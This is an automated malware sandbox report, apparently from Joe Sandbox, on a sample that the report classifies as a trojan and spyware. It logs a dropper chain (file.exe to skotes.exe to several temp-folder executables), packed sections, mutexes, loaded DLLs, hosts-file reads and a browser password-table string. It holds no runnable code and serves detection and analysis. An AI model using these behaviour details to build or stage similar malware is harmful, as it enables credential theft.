Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001C8860	1_2_001C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001C78BB	1_2_001C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001C31A8	1_2_001C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00184B30	1_2_00184B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001C2D10	1_2_001C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00184DE0	1_2_00184DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001B7F36	1_2_001B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_001C779B	1_2_001C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C7049	2_2_001C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C8860	2_2_001C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C78BB	2_2_001C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C31A8	2_2_001C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00184B30	2_2_00184B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C2D10	2_2_001C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00184DE0	2_2_00184DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001B7F36	2_2_001B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_001C779B	2_2_001C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0018E530	6_2_0018E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001A6192	6_2_001A6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C8860	6_2_001C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00184B30	6_2_00184B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C2D10	6_2_001C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00184DE0	6_2_00184DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001A0E13	6_2_001A0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C7049	6_2_001C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C31A8	6_2_001C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001A1602	6_2_001A1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C779B	6_2_001C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001C78BB	6_2_001C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001A3DF1	6_2_001A3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_001B7F36	6_2_001B7F36
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AD1000	7_2_00AD1000
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AD4C8C	7_2_00AD4C8C
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: 7_2_00AE6F3A	7_2_00AE6F3A

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Code function: String function: 00AD5190 appears 46 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00EB80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001B8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001980C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0019DF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0019D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0019D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00197A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0019D64E appears 79 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe2.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 9f58fa9406.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979830126021798
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979830126021798
Source: random[2].exe.6.dr	Static PE information: Section: sshkjhii ZLIB complexity 0.9945834815078236
Source: 66405b473b.exe.6.dr	Static PE information: Section: sshkjhii ZLIB complexity 0.9945834815078236
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[2].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 386e7e479d.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: 386e7e479d.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003407005613125
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 3a0398bc51.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 3a0398bc51.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe0.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: d6bf37692b.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: d6bf37692b.exe.6.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: random[1].exe1.6.dr	Static PE information: Section: oqomgfsk ZLIB complexity 0.9943580067090395
Source: 7ba71287b7.exe.6.dr	Static PE information: Section: oqomgfsk ZLIB complexity 0.9943580067090395

Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, ShDnQsHCvxCFIGtIad0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, ShDnQsHCvxCFIGtIad0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, AeiCUqBnyecleFheY7m.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, AeiCUqBnyecleFheY7m.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 15.2.9f58fa9406.exe.5640000.6.raw.unpack, AeiCUqBnyecleFheY7m.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, IHOLEvy0T7QhOrsMmC.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.9f58fa9406.exe.9cb0000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.SetAccessControl
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 13.2.9f58fa9406.exe.421ce18.2.raw.unpack, p70yJbu5bF4vKhUO1a.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@27/18@19/8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Mutant created: \Sessions\1\BaseNamedObjects\80065eb12166c1a5
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe	Mutant created: \Sessions\1\BaseNamedObjects\FloppyShip

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 3a0398bc51.exe, 00000009.00000003.2502491393.00000000038F9000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2569117161.0000000005A96000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2594243131.0000000005A78000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	Virustotal: Detection: 56%
Source: file.exe	ReversingLabs: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNehS

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Process created: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe "C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe "C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process created: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe "C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe "C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe "C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe "C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe "C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe "C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Process created: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe "C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Process created: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe "C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe"
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe "C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	Section loaded: dpapi.dll	Jump to behavior
